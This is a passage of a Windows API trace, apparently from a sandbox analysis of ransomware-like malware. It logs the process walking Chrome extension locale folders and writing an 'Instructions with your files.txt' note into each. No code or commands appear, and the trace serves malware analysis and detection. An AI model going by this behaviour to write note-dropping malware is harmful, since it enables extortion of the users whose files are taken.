[0130.307] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.307] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.308] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.308] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.308] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.308] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.309] CloseHandle (hObject=0x134) returned 1
[0130.309] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.309] GetProcessHeap () returned 0x810000
[0130.309] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.309] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0130.309] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru") returned 150
[0130.309] GetProcessHeap () returned 0x810000
[0130.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.309] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*") returned 152
[0130.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.309] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\.") returned 152
[0130.309] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.309] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\..") returned 153
[0130.309] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b8c80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835bb390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x490e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.309] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json") returned 164
[0130.309] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.309] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b8c80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835bb390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x490e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.309] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\Instructions with your files.txt") returned 183
[0130.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.310] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.311] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.311] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.311] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.311] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.311] CloseHandle (hObject=0x134) returned 1
[0130.311] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.311] GetProcessHeap () returned 0x810000
[0130.311] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.311] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0130.311] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk") returned 150
[0130.311] GetProcessHeap () returned 0x810000
[0130.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.311] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*") returned 152
[0130.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.312] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\.") returned 152
[0130.312] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.312] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\..") returned 153
[0130.312] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c28c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.313] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json") returned 164
[0130.313] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.313] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c28c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.313] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\Instructions with your files.txt") returned 183
[0130.313] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.313] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.314] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.314] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.314] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.314] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.314] CloseHandle (hObject=0x134) returned 1
[0130.314] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.314] GetProcessHeap () returned 0x810000
[0130.314] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.314] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0130.315] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl") returned 150
[0130.315] GetProcessHeap () returned 0x810000
[0130.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.315] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*") returned 152
[0130.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.315] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\.") returned 152
[0130.315] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.315] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\..") returned 153
[0130.315] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c9df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.315] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json") returned 164
[0130.315] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.315] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c9df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.315] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\Instructions with your files.txt") returned 183
[0130.315] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.316] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.317] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.317] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.317] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.317] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.317] CloseHandle (hObject=0x134) returned 1
[0130.317] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.317] GetProcessHeap () returned 0x810000
[0130.317] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.317] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0130.317] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr") returned 150
[0130.317] GetProcessHeap () returned 0x810000
[0130.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.317] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*") returned 152
